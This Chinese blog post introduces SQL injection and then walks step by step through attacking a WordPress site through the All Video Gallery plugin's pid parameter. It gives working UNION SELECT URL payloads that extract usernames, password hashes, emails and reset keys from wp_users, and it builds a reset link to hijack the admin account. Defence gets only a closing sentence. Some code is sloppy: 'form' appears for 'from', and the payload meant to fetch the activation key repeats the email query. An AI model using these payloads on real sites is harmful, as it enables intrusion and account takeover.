浅谈SQL注入式攻击与防范之一
///////////今天看到一篇关于SQL注入的文章,根据自己的思路整理一下,欢迎大神拍砖//////////我们了解一下SQL注入的原理:没有对页面参数进行非法字符进行校验是一大原因。特别是对于一些开源系统而言,数据库的结构都是总所周知的,还有就是地址栏后面的链接参数支持SQL子查询语句。所以黑客就利用这些已经知道的字段和表名称编写攻击语句,然后通过在链接地址后面跟上这些语句来检索
///今天看到一篇关于SQL注入的文章,根据自己的思路整理一下,欢迎大神拍砖//
我们了解一下SQL注入的原理:没有对页面参数进行非法字符进行校验是一大原因。
特别是对于一些开源系统而言,数据库的结构都是总所周知的,还有就是地址栏后面的链接参数支持SQL子查询语句。
所以黑客就利用这些已经知道的字段和表名称编写攻击语句,然后通过在链接地址后面跟上这些语句来检索数据库中的信息,一般为用户名密码或者邮箱。因为密码一般都是加密的,所以比较多的是通过检索邮箱来重新设置密码。然后通过管理员的账号和密码入侵系统。
如这个SQL语句
select * form custom_order where custom_id = {$_GET['customID']}
$_GET表示从客户端获取的参数。如果被人恶意该成
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按这样拼接的sql语句就成了
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
这样获取到的就是数据库中的用户名和密码了。
接下来我们来通过一个注入式攻击wordpress开源博客系统来进行实例认识一下如何进行攻击的:
WordPress的插件有很多,这里通过All video Gallery这个插件的漏洞来进行介绍。
这个插件有一个地址如下:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
由于参数pid未进行特殊字符校验,且我们很容易知道wordpress系统的表名称是wp_users,存放用户名,密码和邮箱的字段分别是user_login,user_pass,user_email.
下面将用户信息表注入:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
这样我们就能够获取用户名和密码,但是密码是加密的,所以我们可以从获取邮箱入手,然后来重新设置密码的思路。
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
这样就能获取对应的邮箱账号。
然后通过忘记密码来输入注册的邮箱,获取激活码。但是我们拿不到激活码,不过没关系,我们可以通过相同的方法来获取激活码,对应的字段是user_activation_key.
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
有了激活码,就可以拼接出重设密码的链接
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
这样就差不多了。
希望大家能提高防范意识,加大防范措施。欢迎大神拍砖,更欢迎高手交流防范的实战方法。本文参考http://www.aqee.net/how-to-hack-a-wordpress-site-using-sql-injection/如有侵权,请联系我们,我们将第一时间处理。
更多推荐
所有评论(0)